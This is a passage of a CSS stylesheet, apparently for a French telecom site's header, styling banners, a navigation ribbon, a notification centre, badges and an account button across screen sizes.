  .band.bandeau-recollecte .message h2 i.icon.arrow-right { display: block; }
  .band.bandeau-recollecte .message h2 i.icon.arrow-right::before { text-align: center; font-size: 1.25em; margin-left: auto; display: block; transform: rotate(270deg); }
  .band.bandeau-recollecte .message h2[aria-expanded=&quot;true&quot;] i.icon.arrow-right::before { transform: rotate(90deg); }
}

.band.bandeau-recollecte .message p { line-height: 1.5; margin: 0px; display: block; }

.band.bandeau-recollecte .message p.mobile-expanded { display: block; }

@media screen and (max-width: 48em) {
  .band.bandeau-recollecte .message p { display: none; }
}

.band.bandeau-recollecte .message ul { padding: 1em 0px 0px; display: flex; flex-direction: row; justify-content: flex-start; margin: 0px; }

@media (max-width: 48em) {
  .band.bandeau-recollecte .message ul { flex-direction: column; }
}

.band.bandeau-recollecte .message ul li { margin-left: 1.25em; margin-right: 1.25em; }

.band.bandeau-recollecte .buttons { display: flex; flex-direction: row; justify-content: flex-end; gap: 1.25em; }

@media screen and (max-width: 64em) {
  .band.bandeau-recollecte .buttons { flex-direction: column; align-items: center; }
}

.band.bandeau-recollecte .buttons button { width: 100%; box-sizing: border-box; padding: 18px 55px; vertical-align: middle; color: rgb(0, 0, 0); background-color: rgba(0, 0, 0, 0); font-size: 18px; font-weight: bold; line-height: 20px; }

.band.bandeau-recollecte .buttons button.blacked { border: medium; background-color: rgb(0, 0, 0); color: rgb(255, 255, 255); }

.band.bandeau-recollecte .buttons button.raw { border: medium; padding: 14px 25px; text-decoration: underline; }

.band.bandeau-recollecte .overlay { overflow-y: scroll; position: fixed; width: 100%; height: 100%; inset: 0px; visibility: visible; opacity: 1; background-color: rgba(0, 0, 0, 0.5); z-index: 10; place-content: center; text-align: center; }

.band.bandeau-recollecte .overlay .pop-in { text-align: initial; position: relative; min-height: 50px; margin: 70px 10px; padding: 10px 20px; background-color: rgb(255, 255, 255); }

@media screen and (min-width: 48em) {
  .band.bandeau-recollecte .overlay .pop-in { display: inline-block; text-align: initial; max-width: 46.875em; line-height: 1.5; vertical-align: middle; }
}

.band.bandeau-recollecte .overlay .pop-in .close-popin { position: absolute; right: 0.625em; top: 0.625em; width: 2em; height: 2em; border: medium; background-color: rgba(0, 0, 0, 0); cursor: pointer; }

.band.bandeau-recollecte .overlay .pop-in .close-popin.icon::before { font-size: x-large; }

.band.bandeau-recollecte .overlay .pop-in h3 { font-size: 1.125em; }

.band.bandeau-recollecte .overlay .pop-in p { font-size: 0.875em; }

.band.bandeau-recollecte .overlay .pop-in p ul { padding-left: 1.28571em; margin-top: 0.357143em; }

.band.bandeau-recollecte .overlay .pop-in > .buttons { flex-direction: row-reverse; gap: 1.25em; }

@media screen and (max-width: 48em) {
  .band.bandeau-recollecte .overlay .pop-in > .buttons { flex-direction: column; }
}

.band.bandeau-recollecte .overlay .pop-in > .buttons button { font-size: 1em; width: 15.625em; }

@media screen and (max-width: 22.5em) {
  .band.bandeau-recollecte .overlay .pop-in > .buttons button { width: 100%; margin-top: 0px; }
}

.band.bandeau-recollecte .overlay .pop-in .pop-in-link { margin-bottom: 0.625em; display: block; color: rgb(0, 0, 0); text-decoration: underline; font-weight: 700; text-align: left; font-size: 0.875em; margin-top: 1em; }

@media (max-width: 48em) {
  .band.bandeau-recollecte .overlay .pop-in .pop-in-link { text-align: center; }
}

.band.bandeau-recollecte .overlay .pop-in .pop-in-link :hover { color: rgb(0, 0, 0); }

.band.bandeau-pays-francophones { position: sticky; z-index: 10000000; top: 0px; width: 100%; color: rgb(0, 0, 0); background-color: rgb(233, 247, 255); box-shadow: rgba(128, 128, 128, 0.27) 0px 0px 0.625em; display: flex; justify-content: space-between; align-items: center; gap: 1.25em; }

@media (max-width: 48em) {
  .band.bandeau-pays-francophones { flex-wrap: wrap; }
}

.band.bandeau-pays-francophones div.message { align-self: flex-start; margin-left: 2.5em; position: relative; display: flex; flex-direction: column; font-size: 0.875em; line-height: 1.4; }

.band.bandeau-pays-francophones div.message i { position: absolute; left: -1.25em; margin-right: 0.9375em; font-size: 2em; line-height: 0.9; color: rgb(0, 183, 255); }

.band.bandeau-pays-francophones div.message h2 { font-size: 1em; font-weight: bold; line-height: 1.5; margin-top: 0px; }

.band.bandeau-pays-francophones .buttons { display: flex; flex-direction: column; align-items: center; flex-basis: 40%; gap: 1.5625em; }

@media screen and (max-width: 48em) {
  .band.bandeau-pays-francophones .buttons { flex-basis: 100%; flex-grow: 1; justify-content: space-around; }
}

@media screen and (min-width: 60.0625em) {
  .band.bandeau-pays-francophones .buttons { flex-basis: 50%; flex-direction: row; justify-content: flex-end; }
}

.band.bandeau-pays-francophones .buttons button { box-sizing: border-box; padding: 0.875em 3em; vertical-align: middle; color: rgb(0, 0, 0); background-color: rgba(0, 0, 0, 0); font-size: 1em; font-weight: bold; line-height: 1em; }

.band.bandeau-pays-francophones .buttons button.borded { border: 0.0625em solid rgb(0, 0, 0); }

@media (max-width: 22.5em) {
  .band.bandeau-pays-francophones .buttons button.borded { width: 100%; padding: 0.875em; white-space: normal !important; }
}

.band.bandeau-pays-francophones .buttons button.raw { position: relative; border: medium; margin-bottom: 0px; padding: 0.3125em 1.5625em; }

.band.bandeau-pays-francophones .buttons button.raw.icon::before { position: absolute; right: 0px; box-sizing: border-box; padding-left: 0.1875em; font-size: 1em; }

.band.bandeau-accessibility { background-color: rgb(51, 51, 51); position: absolute; left: -624.938em; padding-top: 0.5em; padding-bottom: 0.5em; }

.band.bandeau-accessibility:focus-within, .band.bandeau-accessibility.blocked { position: relative; left: 0px; z-index: 99980; }

.band.bandeau-accessibility a { font-size: 0.9em; font-weight: bold; line-height: 1em; padding: 0.25em 0.3125em; margin-right: 2.8125em; margin-left: -0.625em; color: rgb(255, 255, 255); }

.band.bandeau-accessibility a:focus { color: rgb(204, 204, 204); }

.band.bandeau-accessibility.sosh { align-content: center; background-color: rgb(0, 0, 0); }

.band.bandeau-accessibility.sosh a:active, .band.bandeau-accessibility.sosh a:hover, .band.bandeau-accessibility.sosh a:focus, .band.bandeau-accessibility.sosh a:focus, .band.bandeau-accessibility.sosh a:focus-visible { color: rgb(251, 205, 0); }

.band.navigateur { background: rgb(255, 250, 230); font-family: &quot;o-HelveticaNeue&quot;, Helvetica, Arial, sans-serif; position: relative; z-index: 99980; }

.band.navigateur .message { padding: 0px 0px 0.875em; display: flex; align-items: center; }

.band.navigateur .message .icon::before { font-size: 32px !important; color: rgb(255, 205, 11); }

.band.navigateur .message .text { color: rgb(51, 51, 51); font-size: 16px; font-weight: 700; margin-left: 15px; flex-grow: 1; flex-basis: 100%; }

.band.navigateur ul { display: flex; gap: 10px; flex-wrap: wrap; list-style-type: none; padding-left: 0px; }

.band.navigateur ul li { display: flex; padding-right: 100px; }

.band.navigateur ul li img { width: 45px; height: 45px; }

.band.navigateur ul li > div { display: flex; flex-direction: column; color: rgb(0, 0, 0); font-weight: bold; padding-left: 16px; }

.band.navigateur ul li > div .title { font-size: 18px; }

.band.navigateur ul li > div .editor { font-weight: normal; font-size: 14px; color: rgb(85, 85, 85); }

.band.navigateur ul li > div .link { text-decoration: none; color: inherit; font-weight: 700; font-size: 16px; display: flex; align-items: center; }

.band.navigateur ul li > div .link .link-icon { padding-left: 10px; display: flex; }

.band.navigateur .close-popin { color: rgb(0, 0, 0); font-size: 1.4em; float: right; margin-left: 1.25em; }

.band.ruban { display: flex; flex-direction: row; justify-content: space-between; position: relative; }

.band.ruban > * { display: flex; align-items: center; flex-direction: row; gap: 0.9375em; }

.band.ruban * { box-sizing: border-box; }

.band.ruban .page-title { font-size: 1.875em; line-height: 1.37; color: rgb(255, 255, 255); margin: 0.166667em 0px; font-weight: 700; display: flex; flex-grow: 1; flex-wrap: nowrap; }

@media (max-width: 64em) {
  .band.ruban .page-title { font-size: 1em; }
}

@media (max-width: 90em) {
  .band.ruban .page-title { font-size: 1.625em; }
}

.band.ruban .layer.universe-selector { position: relative; }

.band.ruban .layer.universe-selector button { padding-right: 30px; position: relative; white-space: nowrap; }

.band.ruban .layer.universe-selector button::before { transform: rotate(90deg); color: rgb(241, 110, 0); font-size: 10px; position: absolute; right: 10px; top: 0px; font-weight: 700; }

.band.ruban .layer.universe-selector button[aria-expanded=&quot;true&quot;]::before { transform: rotate(-90deg); }

.band.ruban .layer.universe-selector .popin { right: 0px; background: rgb(255, 255, 255); padding: 0px 30px 20px; border-top: 2px solid rgb(241, 110, 0); width: auto; transform: none; }

.band.ruban .layer.universe-selector .popin h1 { height: 3.125em; min-height: 3.125em !important; font-size: 16px; margin-bottom: 5px; white-space: nowrap; font-weight: bold; color: rgb(0, 0, 0); line-height: 70px; margin-top: 0px; }

.band.ruban .layer.universe-selector .popin ul { list-style: none; padding-left: 0px; margin: 0px; }

.band.ruban .layer.universe-selector .popin ul li { border-top: 1px solid rgb(221, 221, 221); }

.band.ruban .layer.universe-selector .popin ul li a { position: relative; color: rgb(0, 0, 0); font-size: 16px; text-decoration: none; display: block; padding: 14px 30px 14px 0px; box-sizing: border-box; outline-offset: 0.25rem; transition: outline-offset 0.15s ease-in-out; font-weight: normal; }

.band.ruban .layer.universe-selector .popin ul li a:hover { text-decoration: underline; }

.band.ruban .layer.universe-selector .popin ul li a::before { font-weight: bold; line-height: 22px; color: rgb(241, 110, 0); font-size: 14px; position: absolute; top: 0px; right: 0px; bottom: 0px; display: flex; align-items: center; margin-right: 0px; }

.band.ruban .layer.universe-selector .popin ul li:first-of-type { border-top: medium; }

.band.ruban .ruban-link { padding: 0px 0.3125em; align-items: center; justify-content: center; position: relative; min-height: 2em; min-width: 2.875em; display: flex; text-decoration: none; white-space: nowrap; outline: none; outline-offset: 7px !important; transition: outline-offset 0.15s ease-in-out !important; }

.band.ruban .ruban-link::before { display: inline-block; text-decoration: none; }

.band.ruban .ruban-link:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 3px !important; }

@media screen and (max-width: 80em) {
  .band.ruban .ruban-link { padding: 0px; min-width: 2.625em; }
}

.band.ruban .ruban-link:focus span, .band.ruban .ruban-link:focus-within span { text-decoration: underline; }

.band.ruban .ruban-link:focus span.badge, .band.ruban .ruban-link:focus-within span.badge { text-decoration: none; }

.band.ruban.gp .ruban-link span { font-size: 0.875em; }

.band.ruban.gp .ruban-link::before { display: inline-block; font-size: 1.1875em; margin-right: 0.368421em; text-decoration: none; }

@media screen and (max-width: 64em) {
  .band.ruban.gp .ruban-link { display: none; }
}

.band.ruban.gp .ruban-link:focus span, .band.ruban.gp .ruban-link:focus-within span { text-decoration: underline; }

.band.ruban.gp .ruban-link:focus span.badge, .band.ruban.gp .ruban-link:focus-within span.badge { text-decoration: none; }

.band.ruban.sosh .ruban-link::before { font-size: 1.5em; }

@media (max-width: 64em) {
  .band.ruban.sosh .ruban-link { min-width: auto; }
  .band.ruban.sosh .ruban-link span { position: absolute; width: 0.0625em; height: 0.0625em; padding: 0px; margin: -0.0625em; overflow: hidden; clip: rect(0px, 0px, 0px, 0px); white-space: nowrap; border: 0px; font-size: 0.01px; }
  .band.ruban.sosh .ruban-link::before { margin-right: 0px; }
}

.band.ruban.sosh .ruban-link:hover, .band.ruban.sosh .ruban-link:focus-visible, .band.ruban.sosh .ruban-link:active { color: rgb(255, 255, 255); }

.band.ruban.sosh .ruban-link:hover span, .band.ruban.sosh .ruban-link:focus-visible span, .band.ruban.sosh .ruban-link:active span { text-decoration: underline; }

.band.ruban .service-launcher .popin { width: 25em; max-width: calc(-2em + 100vw); font-size: 1em; box-sizing: border-box; }

.band.ruban .service-launcher .popin ul { list-style: none; padding-left: 0px; margin: 0px; display: flex; gap: 0.9375em; flex-wrap: wrap; justify-content: space-around; }

.band.ruban .service-launcher .popin ul li { display: inline-block; vertical-align: top; margin: 0px; color: rgb(0, 0, 0); width: 6.875em; min-height: 6.875em; list-style-type: none; }

.band.ruban a.service-icon-container { display: flex; flex-direction: column; justify-content: space-between; position: relative; height: 100%; color: rgb(0, 0, 0); border: 0.125em solid rgba(0, 0, 0, 0); background-color: rgb(244, 244, 244); text-decoration: none; text-align: center; padding: 1.25em 0.625em 0.625em; font-size: 0.875em; font-weight: bold; }

.band.ruban a.service-icon-container:hover { background: rgb(221, 221, 221); }

.band.ruban a.service-icon-container i { width: 2.5em; height: 2.5em; position: relative; margin: 0px auto; display: block; right: 0px; }

.band.ruban a.service-icon-container i::before { font-size: 2.5em; line-height: 1em; }

.band.ruban a.service-icon-container span { height: 2.625em; justify-content: center; display: flex; align-items: baseline; }

.band.ruban .centre-notifications .popin { width: 27.5em; }

.band.ruban .centre-notifications .popin { max-height: 31.25em; }

@media screen and (max-width: 30em) {
  .band.ruban .centre-notifications .popin { max-height: calc(-50px + 100vh); overflow-y: auto; }
}

.band.ruban .centre-notifications .popin .loading { height: 200px; position: relative; min-height: 44.4px; }

@keyframes loading {
  0% { transform: rotate(0deg); }
  100% { transform: rotate(360deg); }
}

.band.ruban .centre-notifications .popin .loading::after { content: &quot;&quot;; position: absolute; top: 50%; left: 50%; margin-top: -18.5px; margin-left: -18.5px; width: 37px; height: 37px; border-radius: 50%; border-width: 4px; border-style: solid; border-color: rgba(0, 0, 0, 0) rgb(241, 110, 0) rgb(241, 110, 0); border-image: none; animation: 2s linear infinite loading; }

.band.ruban .centre-notifications .popin .error::before { box-sizing: border-box; padding: 10px 0px; display: inline-block; vertical-align: middle; width: 2em; font-size: 2em; color: rgb(38, 178, 255); }

.band.ruban .centre-notifications .popin .content { margin-left: -5px; margin-right: -5px; }

.band.ruban .centre-notifications .popin .content .filters { display: flex; gap: 1em; padding: 5px 0px 14px; margin: 0px; justify-content: center; }

@media screen and (max-width: 48em) {
  .band.ruban .centre-notifications .popin .content .filters { justify-content: flex-start; }
}

.band.ruban .centre-notifications .popin .content .filters button { min-width: 8em; font-family: o-HelveticaNeue, Arial, sans-serif; cursor: pointer; color: rgb(0, 0, 0); font-size: 14px; font-weight: normal; height: 2.28571em; line-height: 1; background: none; border-radius: 2.28571em; border: 1px solid rgb(204, 204, 204); padding: 5px 25px 7px; white-space: nowrap; outline: none; outline-offset: 0px !important; transition: outline-offset 0.15s ease-in-out !important; }

.band.ruban .centre-notifications .popin .content .filters button[value=&quot;important&quot;] { min-width: 10em; }

@media screen and (max-width: 30em) {
  .band.ruban .centre-notifications .popin .content .filters button { padding-left: 15px; padding-right: 15px; min-width: 5em; }
  .band.ruban .centre-notifications .popin .content .filters button[value=&quot;important&quot;] { min-width: 8em; }
}

@media screen and (max-width: 30em) {
  .band.ruban .centre-notifications .popin .content .filters button { padding-left: 5px; padding-right: 5px; overflow: hidden; min-width: 0px; }
  .band.ruban .centre-notifications .popin .content .filters button[value=&quot;important&quot;] { min-width: 0px; }
}

@media screen and (max-width: 17.5em) {
  .band.ruban .centre-notifications .popin .content .filters button { font-size: 0.625em; }
}

.band.ruban .centre-notifications .popin .content .filters button[aria-expanded=&quot;true&quot;] { background-color: rgba(0, 0, 0, 0); border: 2px solid rgb(241, 110, 0); color: rgb(0, 0, 0); font-weight: 700; }

.band.ruban .centre-notifications .popin .content .filters button:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -4px !important; }

.band.ruban .centre-notifications .popin .content .filters button:focus-visible { line-height: 1; background-color: rgba(0, 0, 0, 0); border: 1px solid rgb(85, 85, 85); color: rgb(85, 85, 85); font-weight: 700; }

.band.ruban .centre-notifications .popin .content .filters button:hover { background-color: rgba(0, 0, 0, 0); border: 1px solid rgb(85, 85, 85); color: rgb(85, 85, 85); font-weight: 700; }

.band.ruban .centre-notifications .popin .content .filters button:hover[aria-expanded=&quot;true&quot;] { border-width: 2px; }

.band.ruban .centre-notifications .popin .content ul { padding: 0px; margin: 0px; list-style: none; box-sizing: border-box; }

.band.ruban .centre-notifications .popin .content ul.notifications { max-height: 346px; margin: 0px; font-size: 16px; width: 100%; overflow: hidden auto; position: relative; }

@media screen and (max-width: 30em) {
  .band.ruban .centre-notifications .popin .content ul.notifications { max-height: 100000000px; }
}

.band.ruban .centre-notifications .popin .content ul.notifications li a { padding: 0.9375em 0px; width: 100%; display: flex; gap: 0.625em; font-size: 16px; align-items: flex-start; text-decoration: none; color: rgb(85, 85, 85); position: relative; outline: none; outline-offset: -7px !important; transition: outline-offset 0.15s ease-in-out !important; }

.band.ruban .centre-notifications .popin .content ul.notifications li a:hover, .band.ruban .centre-notifications .popin .content ul.notifications li a:focus { color: rgb(85, 85, 85); text-decoration: underline; }

.band.ruban .centre-notifications .popin .content ul.notifications li a:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -11px !important; }

.band.ruban .centre-notifications .popin .content ul.notifications li a > span { line-height: 1.38; padding: 0px; vertical-align: middle; text-align: left; font-size: 0.875em; flex-grow: 1; }

.band.ruban .centre-notifications .popin .content ul.notifications li a > span > span.contrat { font-size: 0.875em; font-weight: normal; display: block; }

.band.ruban .centre-notifications .popin .content ul.notifications li a i::before { height: 1em; width: 1em; font-size: 1.7em; line-height: 1em; margin: 0.1875em; }

.band.ruban .centre-notifications .popin .content ul.notifications li a .notif-object { vertical-align: top; flex-shrink: 0; flex-grow: 0; width: 1.6875em; }

.band.ruban .centre-notifications .popin .content ul.notifications li a .notif-object > i.icon { margin: 0px; }

.band.ruban .centre-notifications .popin .content ul.notifications li a .notif-object > i.icon::before { margin: 0px; }

.band.ruban .centre-notifications .popin .content ul.notifications li a .functional-icon { display: inline-block; width: 40px; box-shadow: none; border: medium; vertical-align: middle; text-align: center; flex-grow: 0; flex-shrink: 0; margin-left: auto; }

.band.ruban .centre-notifications .popin .content ul.notifications li a .functional-icon::before { display: inline-block; background-color: rgb(255, 255, 255); color: rgb(255, 255, 255); vertical-align: middle; font-size: 30px !important; width: 100%; text-align: center; }

.band.ruban .centre-notifications .popin .content ul.notifications li a .functional-icon.confirmation-tick::before { color: rgb(61, 227, 90); }

.band.ruban .centre-notifications .popin .content ul.notifications li a .functional-icon.info::before { color: rgb(38, 178, 255); }

.band.ruban .centre-notifications .popin .content ul.notifications li a .functional-icon.warning::before { color: rgb(255, 205, 11); }

.band.ruban .centre-notifications .popin .content ul.notifications li a .functional-icon.error::before { color: rgb(231, 0, 2); }

.band.ruban .centre-notifications .popin .content ul.notifications li.unread > a { font-weight: bold; color: rgb(0, 0, 0); }

.band.ruban .centre-notifications .popin .content .no-item { display: none; position: relative; margin: 5px 5px 0px; background: rgb(233, 247, 255); padding: 20px 20px 20px 55px; }

.band.ruban .centre-notifications .popin .content .no-item.icon::before { position: absolute; left: 15px; top: 15px; line-height: normal; color: rgb(38, 178, 255); font-size: 32px; }

.band.ruban .centre-notifications .popin .content .no-item p { margin: 0px; font-weight: bold; }

.band.ruban .centre-notifications .popin .content .no-item button { display: block; border: medium; background-color: rgba(0, 0, 0, 0); margin: 0px; padding: 5px 0px; font-weight: bold; font-size: 16px; text-align: left; font-family: o-HelveticaNeue, Arial, sans-serif; cursor: pointer; }

.band.ruban .centre-notifications .popin .content .no-item button > i::before { line-height: normal; color: rgb(0, 0, 0); text-decoration: none; font-weight: bold; }

.band.ruban .centre-notifications .popin .content ul > li { display: none; }

.band.ruban .centre-notifications .popin .content ul > li.hidden { display: none !important; }

.band.ruban .centre-notifications .popin .content.filter-all .no-item.all, .band.ruban .centre-notifications .popin .content.filter-all ul > li { display: block; }

.band.ruban .centre-notifications .popin .content.filter-all .no-item.all { margin-top: -5px; background-color: rgba(0, 0, 0, 0); }

.band.ruban .centre-notifications .popin .content.filter-unread .no-item.unread, .band.ruban .centre-notifications .popin .content.filter-unread ul > li.unread { display: block; }

.band.ruban .centre-notifications .popin .content.filter-important .no-item.important, .band.ruban .centre-notifications .popin .content.filter-important ul > li.important { display: block; }

.band.ruban.sosh .centre-notifications .panel-button:hover, .band.ruban.sosh .centre-notifications .panel-button:focus-visible, .band.ruban.sosh .centre-notifications .panel-button[aria-expanded=&quot;true&quot;] { color: rgb(204, 204, 204); }

.band.ruban.sosh .centre-notifications .panel-button .badge { background-color: rgb(222, 37, 84); box-shadow: none; transform: translate(0.25em, -0.0625em); }

.band.ruban.sosh .centre-notifications .popin { padding: 0px; }

.band.ruban.sosh .centre-notifications .popin::before { content: &quot;&quot;; position: absolute; left: 0px; right: 0px; top: 0px; height: 0.25em; background-color: rgb(222, 37, 84); }

.band.ruban.sosh .centre-notifications .popin h1 { padding: 0.9375em 1.875em 0px; }

.band.ruban.sosh .centre-notifications .popin .content { margin: 0px; }

.band.ruban.sosh .centre-notifications .popin .content .filters { padding-left: 1.25em; padding-right: 1.25em; }

.band.ruban.sosh .centre-notifications .popin .content .filters button { background-color: rgb(255, 255, 255); border-color: rgb(0, 0, 0); outline: none; outline-offset: 2px !important; transition: outline-offset 0.15s ease-in-out !important; }

.band.ruban.sosh .centre-notifications .popin .content .filters button[aria-expanded=&quot;true&quot;] { color: rgb(255, 255, 255); background-color: rgb(222, 37, 84); border-color: rgb(222, 37, 84); }

.band.ruban.sosh .centre-notifications .popin .content .filters button[aria-expanded=&quot;true&quot;]::before { display: inline-block; width: 10px; height: 6px; margin: 0px 8px 2px 0px; content: &quot;&quot;; border-style: solid; border-color: rgb(255, 255, 255); border-width: 0px 0px 2px 2px; border-image: none; transform: rotateZ(-45deg); }

.band.ruban.sosh .centre-notifications .popin .content .filters button[aria-expanded=&quot;true&quot;]:focus, .band.ruban.sosh .centre-notifications .popin .content .filters button[aria-expanded=&quot;true&quot;]:hover { color: rgb(255, 255, 255); background-color: rgb(0, 0, 0); border-color: rgb(0, 0, 0); }

.band.ruban.sosh .centre-notifications .popin .content .filters button:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -2px !important; }

.band.ruban.sosh .centre-notifications .popin .content .filters button:focus-visible { outline-color: rgb(222, 37, 84) !important; outline-offset: -0.0625em !important; }

.band.ruban.sosh .centre-notifications .popin ul.notifications::-webkit-scrollbar, .band.ruban.sosh .centre-notifications .popin ul.notifications::-webkit-scrollbar-thumb { width: 0.25em; }

.band.ruban.sosh .centre-notifications .popin ul.notifications::-webkit-scrollbar-thumb { border-radius: 0.25em; background-color: rgb(204, 204, 204); }

.band.ruban.sosh .centre-notifications .popin ul.notifications li { padding: 0px 1.875em; }

.band.ruban.sosh .centre-notifications .popin ul.notifications li:hover, .band.ruban.sosh .centre-notifications .popin ul.notifications li:focus-visible, .band.ruban.sosh .centre-notifications .popin ul.notifications li:focus-within { background-color: rgb(238, 238, 238); }

.band.ruban.sosh .centre-notifications .popin ul.notifications li a { border-top: 1px solid rgb(238, 238, 238); padding: 1.0625em 0px; text-decoration: none !important; }

.band.ruban.sosh .centre-notifications .popin ul.notifications li a:focus-visible { outline: none !important; }

.band.ruban.sosh .centre-notifications .popin ul.notifications li a object, .band.ruban.sosh .centre-notifications .popin ul.notifications li a .functional-icon { margin-top: auto; margin-bottom: auto; }

.band.ruban.sosh .centre-notifications .popin ul.notifications li a > span { font-size: 1em; font-weight: bold; }

.band.ruban.sosh .centre-notifications .popin ul.notifications li a > span .contrat { color: rgb(77, 77, 77); }

.band.ruban.sosh .centre-notifications .popin ul.notifications li a .functional-icon::before { background-color: rgba(0, 0, 0, 0); font-size: 1.25em !important; }

.band.ruban.sosh .centre-notifications:not(.keep-right)[data-state=&quot;active&quot;] .popin { transform: translateX(35%); }

.band.ruban a.mail.ruban-link { position: relative; min-width: 2.375em; display: inline-flex; align-items: center; justify-content: center; font-size: inherit; outline: none; outline-offset: 2px !important; transition: outline-offset 0.15s ease-in-out !important; }

.band.ruban a.mail.ruban-link::before { margin-right: 0px; }

.band.ruban a.mail.ruban-link:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -2px !important; }

.band.ruban .mobile-burger-menu { border: 0px; padding: 0px; background: none; color: rgb(255, 255, 255); font-size: 0.75em; font-weight: 700; display: flex; align-items: center; cursor: pointer; outline: none; outline-offset: 6px !important; transition: outline-offset 0.15s ease-in-out !important; }

.band.ruban .mobile-burger-menu:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 2px !important; }

.band.ruban .mobile-burger-menu.icon::before { font-size: 1.5em; }

.band.ruban.gp .mobile-burger-menu.icon::before { margin-right: 0.3125em; position: relative; top: -0.0625em; }

.band.ruban.sosh .mobile-burger-menu { outline: none; outline-offset: 9px !important; transition: outline-offset 0.15s ease-in-out !important; flex-direction: column; }

.band.ruban.sosh .mobile-burger-menu:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 5px !important; }

.band.ruban.sosh .mobile-burger-menu.icon::before { font-size: 1.875em; margin-right: 0px; }

.band.ruban.sosh .mobile-burger-menu:focus-visible { outline-color: rgb(255, 255, 255) !important; }

.band.ruban .capsule { display: flex; gap: 0.625em; background: rgb(26, 26, 26); padding: 0.1875em 1.25em; }

.band.ruban .capsule .vertical-separator { width: 0.0625em; background: rgb(85, 85, 85); font-size: 1em; display: block; height: 1.125em; margin: auto 0.625em; }

@media (max-width: 80em) {
  .band.ruban .capsule .vertical-separator { margin: auto 0px; }
}

.band.ruban .capsule .vertical-separator:first-child, .band.ruban .capsule .vertical-separator:last-child { display: none; }

.band.ruban .capsule span.badge { box-shadow: rgb(26, 26, 26) 0px 0px 0px 2px; }

@media (max-width: 80em) {
  .band.ruban .capsule { gap: 0.3125em; padding: 0.1875em 0.3125em; }
}

@media (max-width: 64em) {
  .band.ruban .capsule { background: none; padding: 0px; }
  .band.ruban .capsule .vertical-separator { display: none; }
}

.band.ruban .left, .band.ruban .right { gap: 1.5625em; }

.band.ruban.gp { gap: 1.25em; height: 6.25em; }

.band.ruban.gp.visible-sticky { position: fixed !important; z-index: 10000000; top: 0px; }

.band.ruban.gp.visible-sticky + .sticky-ghost { min-height: 3.125em; }

.band.ruban.gp.small { height: 3.125em; padding-top: 0.625em; padding-bottom: 0.625em; }

@media (max-width: 48em) {
  .band.ruban.gp { height: 3.125em; gap: 0px; }
}

@media (max-width: 64em) {
  .band.ruban.gp { height: 3.125em; }
}

.band.ruban.gp .mobile-search-toggle[aria-expanded=&quot;true&quot;] { color: rgb(255, 121, 0); }

.band.ruban.sosh { background-color: rgb(38, 130, 142); color: rgb(255, 255, 255); }

.band.ruban.sosh .logo:hover, .band.ruban.sosh .logo:focus-visible { opacity: 0.7; }

@media (max-width: 64em) {
  .band.ruban.sosh { height: 3.75em; }
  .band.ruban.sosh .left { flex-grow: 1; }
}

@media (max-width: 21.25em) {
  .band.ruban.sosh .left { flex-grow: 1; }
  .band.ruban.sosh .right { gap: 0.625em; }
}

.band.ruban.sosh .logo { outline: none; outline-offset: 2px !important; transition: outline-offset 0.15s ease-in-out !important; }

.band.ruban.sosh .logo:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -2px !important; }

.band.ruban.sosh :focus-visible, .band.ruban.sosh .mobile-burger-menu:focus-visible, .band.ruban.sosh .logo:focus-visible { outline-color: rgb(255, 255, 255) !important; }

.band.ruban.sosh.is-navigation-open .logo { display: none; }

.band.ruban.sosh.is-navigation-open { z-index: 99890; }

span.badge { border-radius: 1em; font-weight: bold; line-height: 1.36em; height: 1.36em; min-width: 1.36em; font-size: 0.8em; padding: 0px 0.4em; text-align: center; text-decoration: none; display: inline-block; box-sizing: border-box; position: absolute; left: calc(100% - 1.25em); right: auto; top: 0.4375em; }

@media (max-width: 64em) {
  span.badge { top: 0px; }
}

.gp span.badge { box-shadow: rgb(0, 0, 0) 0px 0px 0px 0.166667em; background: rgb(231, 0, 2); color: rgb(255, 255, 255); border-color: rgb(255, 255, 255); }

.sosh span.badge { border: medium; background: rgb(222, 37, 84); color: rgb(255, 255, 255); top: 0.375em; }

.identity-layer .panel-button { display: flex; align-items: center; height: 100%; padding-left: 0.3125em; padding-right: 0.3125em; }

.identity-layer .panel-button img { display: inline-block; width: 1.625em; height: 1.625em; font-size: inherit; }

.identity-layer .panel-button i.icon { display: flex; font-size: 1.125em; line-height: 1.125em; width: 1.94444em; height: 1.94444em; justify-content: center; align-items: center; }

.identity-layer .panel-button .display-labels { display: flex; flex-direction: column; margin-left: 0.1875em; text-align: left; }

.identity-layer .panel-button .display-labels .display-name, .identity-layer .panel-button .display-labels .static-label { display: inline-block; max-width: 11.5em; overflow: hidden; white-space: nowrap; text-overflow: ellipsis; text-align: left; flex-shrink: 1; font-size: 14px; }

.identity-layer .panel-button .display-labels .display-name { font-weight: 700; }

.identity-layer .panel-button .display-labels .static-label { font-weight: 400; color: rgb(204, 204, 204); }

@media screen and (max-width: 64em) {
  .identity-layer .panel-button .display-labels { display: none; }
}

.sosh .identity-layer .panel-button { display: flex; align-items: center; padding: 0px 1.25em 0px 0.1875em; }

@media (max-width: 64em) {
  .sosh .identity-layer .panel-button { padding-right: 0.1875em; }
}

.sosh .identity-layer .panel-button img, .sosh .identity-layer .panel-button i.icon { font-size: 1.125em; line-height: 1.125em; width: 1.94444em; height: 1.94444em; justify-content: center; }

.sosh .identity-layer .panel-button i.icon { border-radius: 50%; background-color: rgb(0, 0, 0); display: flex; align-items: center; justify-content: center; color: rgb(255, 255, 255); }

.sosh .identity-layer .panel-button i.icon::before { height: 1em; line-height: 1.125em; vertical-align: top; }

.sosh .identity-layer .panel-button .display-labels { display: flex; flex-direction: column; margin-left: 0.555556em; }

.sosh .identity-layer .panel-button .display-labels .title { text-align: left; }

.sosh .identity-layer .panel-button .display-labels .subtitle { font-weight: 700; }

.sosh .identity-layer .panel-button .display-labels .static-label { display: none; }

@media (max-width: 64em) {
  .sosh .identity-layer .panel-button .display-labels { position: absolute; width: 0.0625em; height: 0.0625em; padding: 0px; margin: -0.0625em; overflow: hidden; clip: rect(0px, 0px, 0px, 0px); white-space: nowrap; border: 0px; font-size: 0.01px; }
}

.sosh .identity-layer .panel-button:active i.icon::before { color: rgb(255, 255, 255); }

